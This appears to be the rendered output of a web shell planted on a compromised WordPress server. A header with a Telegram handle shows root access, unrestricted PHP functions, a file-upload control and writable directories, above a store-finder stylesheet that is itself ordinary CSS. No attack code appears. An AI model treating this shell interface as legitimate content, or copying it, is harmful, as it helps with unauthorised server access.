https://t.me/RX1948
Server : Apache/2.4.58 (Ubuntu)
System : Linux yumsem00.cafe24.com 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64
User : root ( 0)
PHP Version : 8.2.14
Disable Function : NONE
Directory :  /var/www/html/wp-content/stores/css/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/wp-content/stores/css/custom.css
*{margin:0; padding:0;}
a{text-decoration: none;}

.find_store_wrap{max-width:1200px; margin:0 auto; font-family: 'Poppins', 'Noto Sans KR', sans-serif; letter-spacing: -0.05em; word-break: keep-all;}
input, select{font-family: 'Poppins', 'Noto Sans KR', sans-serif; letter-spacing: -0.05em; }
.nanum_sq{font-family: 'NanumSquare', sans-serif; }

.search_area_wrap{background-color:#f5f5f5; border:2px solid #ddd; margin: 24px auto; padding:23px 0; text-align:center;}

/* MAP */
.find_store_wrap .yum_map{position: relative;}
.find_store_wrap .yum_map iframe{height:500px; border:2px solid #ddd;}
.find_store_wrap .yum_map #mapArea{height:500px; border:2px solid #ddd;}
.map_pop{position:absolute; top:30%; left:50%; transform:translate(-50%, -50%); background-color:#fff; border-radius: 10px; padding:26px 26px 16px; text-align: center; box-shadow: 0 3px 10px rgba(0,0,0,.2);}
.close_btn{display:block; width:8px; height:8px; position:absolute; right:10px; top:10px;}
.close_btn img{display:block; width:100%; height: 100%;}
.map_pop h2{color:#1d1d1e; font-size:20px;}
.map_pop .view_detail_btn{display:inline-block; text-decoration:none; background-color:#1d1d1e; color:#fff; border-radius: 30px; padding:7px 24px; margin-top:10px; font-size:15px;}
.search_list_wrap .view_detail_btn{cursor:pointer !important;}
.map_pop::after{
    content:"";
    width: 0; 
    height: 0; 
    border-left: 10px solid transparent;
    border-right: 10px solid transparent;
    border-top: 10px solid #ffffff;
    position:absolute; left:50%; bottom:-10px;
    transform:translateX(-50%);
}
.map_badge{position:absolute; top:50%; left:50%; transform:translate(-50%, -50%); background:#1d1d1e url(../images/map_badge.svg) center no-repeat;border:2px solid #ddd; border-radius: 100%; width:56px; height:56px; background-size:30px !important;}
.map_badge.yum_gim{background:#1d1d1e url(../images/map_badge.svg) center no-repeat;}
.map_badge.yumsem{background:#1d1d1e url(../images/yumsem_logo_img.png) center no-repeat;}


/* Search Form */
#sFrm{display: flex;align-items: center;justify-content: center;padding: 0 5px;}
.search_area_wrap input,
.search_area_wrap select,
.search_area_wrap .search_btn{height:50px; border:2px solid #ddd; box-sizing: border-box; padding:0 16px; font-size:17px; font-weight:400;margin: 0 5px;}
.search_area_wrap input:focus,
.search_area_wrap select:focus{outline: none; border-color: #f04e23;}
.search_area_wrap select { -webkit-appearance:none; /* for chrome */  -moz-appearance:none; /*for firefox*/ appearance:none;}
.search_area_wrap select::-ms-expand{display:none;/*for IE10,11*/}
.search_area_wrap select {width:154px; background:#fff url('/wp-content/uploads/2023/11/icon_arrow_grey.svg') no-repeat 94% 50%/10px auto;}

.search_area_wrap input::placeholder,
.search_area_wrap section:disabled{color:#aaa;}
.search_area_wrap input{ width:35%; max-width: 350px; color:#1d1d1e;}
.search_area_wrap .deliveryuse_wrap{display: flex;align-items: center;margin: 0;}
.search_area_wrap input[name='delivery']{ width:auto; max-width: unset; appearance: auto; color:#1d1d1e;}
.search_area_wrap .search_btn{min-width:85px; background-color:#1d1d1e; color:#fff; border-color:#1d1d1e; font-weight:500;}


/* 체크박스 스타일 */
.chkStyle2 {position: relative;} 
.chkStyle2 .wpcf7-list-item-label{display:flex;align-items: center;} 
.chkStyle2 input, .chkRadio input {-webkit-appearance: none;-webkit-border-radius: 0;}
.chkStyle2 input[type="checkbox"] {position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip:rect(0,0,0,0); border: 0 } 
.chkStyle2 input[type="checkbox"] + .wpcf7-list-item-label{ position: relative; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; } 
.chkStyle2 input[type="checkbox"] + .wpcf7-list-item-label:before { /* 가짜 체크박스 */ content: ' '; display: inline-block; width:35px;/* 체크박스의 너비를 지정 */ height: 33px; /* 체크박스의 높이를 지정 */ background-size:contain !important;margin: 0 5px;}
.chkStyle2 input[type="checkbox"] + .wpcf7-list-item-label:before {width:20px; height:20px; background: url('/wp-content/uploads/2023/11/icon_unchk_blk.svg') no-repeat;}
.chkStyle2 input[type="checkbox"]:checked + .wpcf7-list-item-label:before { /* 체크박스를 체크했을때 */  background-size:contain !important; }
.chkStyle2 input[type="checkbox"]:checked + .wpcf7-list-item-label:before{background: url('/wp-content/uploads/2023/11/icon_chk_blk.svg') no-repeat;}


/* Search List */
.search_list_wrap table{width:100%; border-top:2px solid #1d1d1e; border-spacing: 0px;}
.search_list_wrap thead th{background-color:#f7f7f7; border:none; border-bottom:1px solid #ddd !important; color:#1d1d1e; font-weight:400; font-size:18px; padding:20px 5px; text-align:center;}
.search_list_wrap tbody td{color:#666666; text-align:center; border-bottom:1px solid #ddd; padding:20px 5px; font-size:16px;}
.search_list_wrap tbody td:nth-of-type(4){text-align:left;}
.search_list_wrap tbody td:nth-of-type(3){position: relative; text-align:left; padding-left:40px;}
.store_logo_img{position:absolute; top:50%; left:10px; transform:translateY(-50%); width:24px; max-height:32px;}
.mb_view{display:none;}

/* 페이지네이션 */
.pagination_wrap {margin:35px auto 0;}
.pagination_wrap ul,
.pagination_wrap li{list-style: none;}
.pagination_wrap ul{display: flex; justify-content: center;}
.pagination_wrap li{margin:0 5px;}
.pagination_wrap li a{border:2px solid #7f7f7f; color:#7f7f7f; display: flex;  align-items: center; justify-content: center; transition-duration: .3s; width:40px; height:40px; font-size:16px;}
.pagination_wrap li:hover a,
.pagination_wrap li a.active{color:#f58220; border-color:#f58220;}

/* 팝업 */
.store_popup_bg{position:fixed; top:0; left:0; right:0; bottom:0; background-color:rgba(0,0,0,.5); display:none;}
.store_popup{position: fixed; top:50%; left:50%; transform:translate(-50%, -50%); background-color:#fff; width:95%; max-width:1000px; display:none;}
.store_popup_bg.on,
.store_popup.on{display:block;}
.pop_tit{background-color:#f58220; color:#fff; padding:20px; display: flex; justify-content: space-between; font-size:18px; font-weight:500;}
.pop_close{display:block; width:15px; height:15px;cursor: pointer;}
.store_popup .info_wrap {padding:20px 20px 10px;}
.store_popup .info_wrap table{width:100%; font-size:16px;}
.store_popup .info_wrap table th{color:#f58220; font-weight:500; text-align:left; vertical-align:top; padding-bottom:8px; border-top:0 !important;}
.store_popup .info_wrap table td{ padding-bottom:8px; border-top:0 !important;}
.store_popup .info_wrap table td input{width:100%; font-size:16px;}
.icon_delivery{text-align: right;}
.icon_delivery a{display:inline-block; width:60px; height:60px;}
.pop_ft {display:flex; align-items: center; justify-content: center;}
.pop_ft a{display: flex; width:50%; align-items: center; justify-content: center; font-weight:500; color:#1d1d1e; padding:20px 0; cursor: pointer;}
.pop_ft a img{display:block; width:20px; height:20px; margin-right:5px;}
.kakao_navi{background-color:#f9e000;}
#copy_address{border:none; width:1px; height:1px; margin-top:-1px; margin-left:-1px;}
#copy_address:focus{outline: none; border:none;}

@media screen and (min-width:1201px){
    .search_list_wrap tbody td a{display: none;}
}

@media screen and (max-width:1200px){
    .find_store_wrap{padding:0 20px;}
    .find_store_wrap .yum_map iframe{height:300px;}
	.find_store_wrap .yum_map #mapArea{height:300px;}
	

    /* Search List */
    .search_list_wrap tbody tr{position: relative; padding:20px;}
    .search_list_wrap tbody td{text-align:left; padding:5px 0; border:none; width:55%; font-size:14px;}
    .search_list_wrap thead,
    .search_list_wrap tbody td:nth-of-type(1),
    .search_list_wrap tbody td:nth-of-type(4),
    .search_list_wrap tbody td:nth-of-type(5){display:none;}
    .search_list_wrap tbody tr{display:flex; flex-flow: column; border:1px solid #ddd; margin-bottom:10px;}
    .store_logo_img{left:4px;}
    .mb_view {display:flex; width:auto !important; position:absolute; right:0; top:50%; transform:translateY(-50%);}
    .mb_view a{display:block; width:60px; height:60px; border-radius: 100%; overflow:hidden; margin-right:10px;}
    .mb_view img{display:block; width:100%;}
    .mb_view a.btn_delivery{background-color:#31b7b2;}
    .search_list_wrap tbody td:nth-of-type(2){color:#1d1d1e; font-size:17px; font-weight:500;} 

    /* 페이지네이션 */
    .pagination_wrap li a{width:30px; height:30px; font-size:14px;}

}

@media screen and (max-width:900px){
    /* Search Form */
    #sFrm{flex-direction: column;}
    .search_area_wrap select,
    .search_area_wrap input,
    .search_area_wrap button{width:90%; font-size:15px !important;max-width: unset;}
    .search_area_wrap select,
    .search_area_wrap input{margin-bottom:5px;}
    .search_area_wrap .deliveryuse_wrap{margin:10px 0 0;}
}
@media screen and (max-width:767px){

    .find_store_wrap .yum_map iframe, find_store_wrap .yum_map #mapArea , 
    .pop_map iframe{height:240px;}
    .map_badge{width:35px; height:35px; background-size:15px !important;}
    .map_pop h2{font-size:17px;}
    .map_pop .view_detail_btn{font-size:13px; margin-top:6px; padding: 4px 20px !important;}
    
    /* Search List */
    .search_list_wrap tbody td{width:60%;}
    .mb_view{right:4px;}
    .mb_view a{width:30px; height:30px;}
}

https://t.me/RX1948 - 2025